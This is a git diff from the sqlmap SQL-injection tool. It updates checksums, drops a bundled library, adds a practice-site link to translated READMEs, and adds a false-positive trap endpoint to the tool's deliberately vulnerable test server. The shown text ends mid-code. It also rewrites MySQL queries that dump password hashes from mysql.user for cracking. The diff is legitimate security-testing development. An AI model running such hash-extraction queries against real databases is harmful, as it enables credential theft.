f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7 thirdparty/beautifulsoup/beautifulsoup.py
|
f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7 thirdparty/beautifulsoup/beautifulsoup.py
|
||||||
|
|
@ -724,8 +730,6 @@ e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/mag
|
||||||
4d89a52f809c28ce1dc17bb0c00c775475b8ce01c2165942877596a6180a2fd8 thirdparty/magic/magic.py
|
4d89a52f809c28ce1dc17bb0c00c775475b8ce01c2165942877596a6180a2fd8 thirdparty/magic/magic.py
|
||||||
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/multipart/__init__.py
|
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/multipart/__init__.py
|
||||||
2574a2027b4a63214bad8bd71f28cac66b5748159bf16d63eb2a3e933985b0a5 thirdparty/multipart/multipartpost.py
|
2574a2027b4a63214bad8bd71f28cac66b5748159bf16d63eb2a3e933985b0a5 thirdparty/multipart/multipartpost.py
|
||||||
ef70b88cc969a3e259868f163ad822832f846196e3f7d7eccb84958c80b7f696 thirdparty/odict/__init__.py
|
|
||||||
9a8186aeb9553407f475f59d1fab0346ceab692cf4a378c15acd411f271c8fdb thirdparty/odict/ordereddict.py
|
|
||||||
3739db672154ad4dfa05c9ac298b0440f3f1500c6a3697c2b8ac759479426b84 thirdparty/pydes/__init__.py
|
3739db672154ad4dfa05c9ac298b0440f3f1500c6a3697c2b8ac759479426b84 thirdparty/pydes/__init__.py
|
||||||
4c9d2c630064018575611179471191914299992d018efdc861a7109f3ec7de5e thirdparty/pydes/pyDes.py
|
4c9d2c630064018575611179471191914299992d018efdc861a7109f3ec7de5e thirdparty/pydes/pyDes.py
|
||||||
c51c91f703d3d4b3696c923cb5fec213e05e75d9215393befac7f2fa6a3904df thirdparty/six/__init__.py
|
c51c91f703d3d4b3696c923cb5fec213e05e75d9215393befac7f2fa6a3904df thirdparty/six/__init__.py
|
||||||
|
|
|
||||||
|
|
@ -35,8 +35,8 @@
|
||||||
<!-- https://github.com/dev-sec/mysql-baseline/issues/35 -->
|
<!-- https://github.com/dev-sec/mysql-baseline/issues/35 -->
|
||||||
<!-- https://stackoverflow.com/a/31122246 -->
|
<!-- https://stackoverflow.com/a/31122246 -->
|
||||||
<passwords>
|
<passwords>
|
||||||
<inband query="SELECT user,authentication_string FROM mysql.user" condition="user"/>
|
<inband query="SELECT user,IF(LEFT(authentication_string,3)=0x244124,CONCAT(0x246d7973716c,LEFT(authentication_string,6),0x2a,INSERT(HEX(SUBSTR(authentication_string,8)),41,0,0x2a)),authentication_string) FROM mysql.user" condition="user"/>
|
||||||
<blind query="SELECT DISTINCT(authentication_string) FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(authentication_string)) FROM mysql.user WHERE user='%s'"/>
|
<blind query="SELECT DISTINCT(IF(LEFT(authentication_string,3)=0x244124,CONCAT(0x246d7973716c,LEFT(authentication_string,6),0x2a,INSERT(HEX(SUBSTR(authentication_string,8)),41,0,0x2a)),authentication_string)) FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(authentication_string)) FROM mysql.user WHERE user='%s'"/>
|
||||||
</passwords>
|
</passwords>
|
||||||
<privileges>
|
<privileges>
|
||||||
<inband query="SELECT grantee,privilege_type FROM INFORMATION_SCHEMA.USER_PRIVILEGES" condition="grantee" query2="SELECT user,select_priv,insert_priv,update_priv,delete_priv,create_priv,drop_priv,reload_priv,shutdown_priv,process_priv,file_priv,grant_priv,references_priv,index_priv,alter_priv,show_db_priv,super_priv,create_tmp_table_priv,lock_tables_priv,execute_priv,repl_slave_priv,repl_client_priv,create_view_priv,show_view_priv,create_routine_priv,alter_routine_priv,create_user_priv FROM mysql.user" condition2="user"/>
|
<inband query="SELECT grantee,privilege_type FROM INFORMATION_SCHEMA.USER_PRIVILEGES" condition="grantee" query2="SELECT user,select_priv,insert_priv,update_priv,delete_priv,create_priv,drop_priv,reload_priv,shutdown_priv,process_priv,file_priv,grant_priv,references_priv,index_priv,alter_priv,show_db_priv,super_priv,create_tmp_table_priv,lock_tables_priv,execute_priv,repl_slave_priv,repl_client_priv,create_view_priv,show_view_priv,create_routine_priv,alter_routine_priv,create_user_priv FROM mysql.user" condition2="user"/>
|
||||||
|
|
|
||||||
|
|
@ -270,8 +270,6 @@ be bound by the terms and conditions of this License Agreement.
|
||||||
Copyright (C) 2024, Marcel Hellkamp.
|
Copyright (C) 2024, Marcel Hellkamp.
|
||||||
* The `identYwaf` library located under `thirdparty/identywaf/`.
|
* The `identYwaf` library located under `thirdparty/identywaf/`.
|
||||||
Copyright (C) 2019-2021, Miroslav Stampar.
|
Copyright (C) 2019-2021, Miroslav Stampar.
|
||||||
* The `ordereddict` library located under `thirdparty/odict/`.
|
|
||||||
Copyright (C) 2009, Raymond Hettinger.
|
|
||||||
* The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`.
|
* The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`.
|
||||||
Copyright (C) 2010-2024, Benjamin Peterson.
|
Copyright (C) 2010-2024, Benjamin Peterson.
|
||||||
* The `Termcolor` library located under `thirdparty/termcolor/`.
|
* The `Termcolor` library located under `thirdparty/termcolor/`.
|
||||||
|
|
|
||||||
|
|
@ -65,4 +65,5 @@
|
||||||
* الأسئلة الشائعة: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* الأسئلة الشائعة: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* تويتر: [@sqlmap](https://x.com/sqlmap)
|
* تويتر: [@sqlmap](https://x.com/sqlmap)
|
||||||
* العروض التوضيحية: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* العروض التوضيحية: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* ساحة التدريب: https://sekumart.sekuripy.hr
|
||||||
* لقطات الشاشة: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* لقطات الشاشة: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|
@ -47,4 +47,5 @@ sqlmap работи самостоятелно с [Python](https://www.python.or
|
||||||
* Често задавани въпроси (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Често задавани въпроси (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* X: [@sqlmap](https://x.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* Площадка за упражнения: https://sekumart.sekuripy.hr
|
||||||
* Снимки на екрана: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Снимки на екрана: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|
|
||||||
|
|
@ -58,5 +58,6 @@ SQLMap-এর সম্পূর্ণ ফিচার, ক্ষমতা, এ
|
||||||
* সচরাচর জিজ্ঞাসিত প্রশ্ন (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* সচরাচর জিজ্ঞাসিত প্রশ্ন (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* X: [@sqlmap](https://x.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* ডেমো ভিডিও: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* ডেমো ভিডিও: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* অনুশীলন সাইট: https://sekumart.sekuripy.hr
|
||||||
* স্ক্রিনশট: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* স্ক্রিনশট: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -62,6 +62,7 @@ sqlmap لە دەرەوەی سندوق کاردەکات لەگەڵ [Python](https
|
||||||
* پرسیارە زۆرەکان (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* پرسیارە زۆرەکان (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* X: [@sqlmap](https://x.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* دیمۆ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* دیمۆ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* گۆڕەپانی تاقیکردنەوە: https://sekumart.sekuripy.hr
|
||||||
* وێنەی شاشە: https://github.com/sqlmapproject/sqlmap/wiki/وێنەی شاشە
|
* وێنەی شاشە: https://github.com/sqlmapproject/sqlmap/wiki/وێنەی شاشە
|
||||||
|
|
||||||
وەرگێڕانەکان
|
وەرگێڕانەکان
|
||||||
|
|
|
||||||
|
|
@ -46,4 +46,5 @@ Links
|
||||||
* Häufig gestellte Fragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Häufig gestellte Fragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* X: [@sqlmap](https://x.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* Demonstrationen: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* Demonstrationen: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* Spielwiese: https://sekumart.sekuripy.hr
|
||||||
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|
|
||||||
|
|
@ -46,4 +46,5 @@ Enlaces
|
||||||
* Preguntas frecuentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Preguntas frecuentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* X: [@sqlmap](https://x.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* Demostraciones: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* Demostraciones: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* Campo de pruebas: https://sekumart.sekuripy.hr
|
||||||
* Imágenes: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Imágenes: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|
|
||||||
|
|
@ -81,4 +81,5 @@
|
||||||
* سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* توییتر: [@sqlmap](https://x.com/sqlmap)
|
* توییتر: [@sqlmap](https://x.com/sqlmap)
|
||||||
* رسانه: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* رسانه: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* زمین تمرین: https://sekumart.sekuripy.hr
|
||||||
* تصاویر: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* تصاویر: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|
|
||||||
|
|
@ -46,4 +46,5 @@ Liens
|
||||||
* Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* X: [@sqlmap](https://x.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* Démonstrations: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* Démonstrations: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* Terrain de jeu: https://sekumart.sekuripy.hr
|
||||||
* Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|
|
||||||
|
|
@ -47,4 +47,5 @@
|
||||||
* Συχνές Ερωτήσεις (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Συχνές Ερωτήσεις (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* X: [@sqlmap](https://x.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* Χώρος δοκιμών: https://sekumart.sekuripy.hr
|
||||||
* Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|
|
||||||
|
|
@ -47,4 +47,5 @@ Poveznice
|
||||||
* Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* X: [@sqlmap](https://x.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* Vježbalište: https://sekumart.sekuripy.hr
|
||||||
* Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|
|
||||||
|
|
@ -50,4 +50,5 @@ Tautan
|
||||||
* Pertanyaan Yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Pertanyaan Yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* X: [@sqlmap](https://x.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* Video Demo [#1](https://www.youtube.com/user/inquisb/videos) dan [#2](https://www.youtube.com/user/stamparm/videos)
|
* Video Demo [#1](https://www.youtube.com/user/inquisb/videos) dan [#2](https://www.youtube.com/user/stamparm/videos)
|
||||||
|
* Arena latihan: https://sekumart.sekuripy.hr
|
||||||
* Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|
|
||||||
|
|
@ -46,5 +46,6 @@ sqlmap [Python](https://www.python.org/download/) संस्करण **2.7**
|
||||||
* अक्सर पूछे जाने वाले प्रश्न (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* अक्सर पूछे जाने वाले प्रश्न (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* ट्विटर: [@sqlmap](https://x.com/sqlmap)
|
* ट्विटर: [@sqlmap](https://x.com/sqlmap)
|
||||||
* डेमो: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* डेमो: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* अभ्यास स्थल: https://sekumart.sekuripy.hr
|
||||||
* स्क्रीनशॉट: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* स्क्रीनशॉट: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
*
|
*
|
||||||
|
|
|
||||||
|
|
@ -47,4 +47,5 @@ Link
|
||||||
* Domande più frequenti (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Domande più frequenti (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* X: [@sqlmap](https://x.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* Dimostrazioni: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* Dimostrazioni: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* Campo di prova: https://sekumart.sekuripy.hr
|
||||||
* Screenshot: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Screenshot: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|
|
||||||
|
|
@ -48,4 +48,5 @@ sqlmapの概要、機能の一覧、全てのオプションやスイッチの
|
||||||
* よくある質問 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* よくある質問 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* X: [@sqlmap](https://x.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* デモ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* デモ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* プレイグラウンド: https://sekumart.sekuripy.hr
|
||||||
* スクリーンショット: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* スクリーンショット: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|
|
||||||
|
|
@ -46,4 +46,5 @@ sqlmap ნებისმიერ პლატფორმაზე მუშ
|
||||||
* ხშირად დასმული კითხვები (ხდკ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* ხშირად დასმული კითხვები (ხდკ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* X: [@sqlmap](https://x.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* დემონსტრაციები: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* დემონსტრაციები: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* სავარჯიშო სივრცე: https://sekumart.sekuripy.hr
|
||||||
* ეკრანის ანაბეჭდები: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* ეკრანის ანაბეჭდები: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|
|
||||||
|
|
@ -47,4 +47,5 @@ sqlmap의 능력, 지원되는 기능과 모든 옵션과 스위치들의 목록
|
||||||
* 자주 묻는 질문 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* 자주 묻는 질문 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* 트위터: [@sqlmap](https://x.com/sqlmap)
|
* 트위터: [@sqlmap](https://x.com/sqlmap)
|
||||||
* 시연 영상: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* 시연 영상: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* 플레이그라운드: https://sekumart.sekuripy.hr
|
||||||
* 스크린샷: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* 스크린샷: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|
|
||||||
|
|
@ -47,4 +47,5 @@ Links
|
||||||
* Vaak gestelde vragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Vaak gestelde vragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* X: [@sqlmap](https://x.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* Speeltuin: https://sekumart.sekuripy.hr
|
||||||
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|
|
||||||
|
|
@ -47,4 +47,5 @@ Odnośniki
|
||||||
* Często zadawane pytania (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Często zadawane pytania (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* X: [@sqlmap](https://x.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* Dema: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* Dema: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* Piaskownica: https://sekumart.sekuripy.hr
|
||||||
* Zrzuty ekranu: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Zrzuty ekranu: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|
|
||||||
|
|
@ -47,4 +47,5 @@ Links
|
||||||
* Perguntas frequentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Perguntas frequentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* X: [@sqlmap](https://x.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* Demonstrações: [#1](https://www.youtube.com/user/inquisb/videos) e [#2](https://www.youtube.com/user/stamparm/videos)
|
* Demonstrações: [#1](https://www.youtube.com/user/inquisb/videos) e [#2](https://www.youtube.com/user/stamparm/videos)
|
||||||
|
* Playground: https://sekumart.sekuripy.hr
|
||||||
* Imagens: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Imagens: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|
|
||||||
|
|
@ -47,4 +47,5 @@ Linkovi
|
||||||
* Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* X: [@sqlmap](https://x.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* Poligon: https://sekumart.sekuripy.hr
|
||||||
* Slike: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Slike: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|
|
||||||
|
|
@ -47,4 +47,5 @@ sqlmap работает из коробки с [Python](https://www.python.org/d
|
||||||
* Часто задаваемые вопросы (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Часто задаваемые вопросы (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* X: [@sqlmap](https://x.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* Демки: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* Демки: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* Песочница: https://sekumart.sekuripy.hr
|
||||||
* Скриншоты: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Скриншоты: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|
|
||||||
|
|
@ -47,4 +47,5 @@ Linky
|
||||||
* Často kladené otázky (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Často kladené otázky (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* X: [@sqlmap](https://x.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* Demá: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* Demá: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* Cvičisko: https://sekumart.sekuripy.hr
|
||||||
* Snímky obrazovky: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Snímky obrazovky: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|
@ -50,4 +50,5 @@ Bağlantılar
|
||||||
* Sıkça Sorulan Sorular(SSS): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Sıkça Sorulan Sorular(SSS): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* X: [@sqlmap](https://x.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* Demolar: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* Demolar: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* Deneme alanı: https://sekumart.sekuripy.hr
|
||||||
* Ekran görüntüleri: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Ekran görüntüleri: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|
|
||||||
|
|
@ -47,4 +47,5 @@ sqlmap «працює з коробки» з [Python](https://www.python.org/dow
|
||||||
* Поширенні питання (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Поширенні питання (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* X: [@sqlmap](https://x.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* Пісочниця: https://sekumart.sekuripy.hr
|
||||||
* Скриншоти: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Скриншоти: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|
|
||||||
|
|
@ -49,4 +49,5 @@ Liên kết
|
||||||
* Các câu hỏi thường gặp (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Các câu hỏi thường gặp (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* X: [@sqlmap](https://x.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* Sân tập: https://sekumart.sekuripy.hr
|
||||||
* Ảnh chụp màn hình: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Ảnh chụp màn hình: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|
|
||||||
|
|
@ -46,4 +46,5 @@ sqlmap 可以运行在 [Python](https://www.python.org/download/) **2.7** 和
|
||||||
* 常见问题 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* 常见问题 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* X: [@sqlmap](https://x.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* 教程: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* 教程: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* 靶场: https://sekumart.sekuripy.hr
|
||||||
* 截图: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* 截图: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|
|
||||||
|
|
@ -17,6 +17,7 @@ import sqlite3
|
||||||
import string
|
import string
|
||||||
import sys
|
import sys
|
||||||
import threading
|
import threading
|
||||||
|
import time
|
||||||
import traceback
|
import traceback
|
||||||
|
|
||||||
PY3 = sys.version_info >= (3, 0)
|
PY3 = sys.version_info >= (3, 0)
|
||||||
|
|
@ -1044,6 +1045,57 @@ class ReqHandler(BaseHTTPRequestHandler):
|
||||||
self.wfile.write(output.encode(UNICODE_ENCODING))
|
self.wfile.write(output.encode(UNICODE_ENCODING))
|
||||||
return
|
return
|
||||||
|
|
||||||
|
if self.url == "/fp":
|
||||||
|
# False-positive battery traps (exercised on demand by '--fp-test'). Every trap is
|
||||||
|
# deliberately NON-injectable but baits a specific FP defense; sqlmap must report "not
|
||||||
|
# injectable" for all of them (each is paired, in FP_TESTS, with a real injectable twin).
|
||||||
|
trap = self.params.get("trap", "reflect")
|
||||||
|
idv = self.params.get("id", "1")
|
||||||
|
|
||||||
|
def _rnd(n=8):
|
||||||
|
return "".join(random.choice("0123456789abcdef") for _ in range(n))
|
||||||
|
|
||||||
|
if trap == "intcast":
|
||||||
|
# parameterized int lookup: id=1 -> row, non-int (e.g. "1 AND 1=1") -> empty. A boolean
|
||||||
|
# payload yields a differential yet it is NOT SQLi -> the false-positive check must reject it.
|
||||||
|
try:
|
||||||
|
hit = int(idv) in (1, 2, 3)
|
||||||
|
except ValueError:
|
||||||
|
hit = False
|
||||||
|
output = "<html><body><b>SQL results:</b><table border=\"1\">%s</table></body></html>" % ("<tr><td>%s</td><td>luther</td><td>blisset</td></tr>" % idv if hit else "")
|
||||||
|
elif trap == "structrand":
|
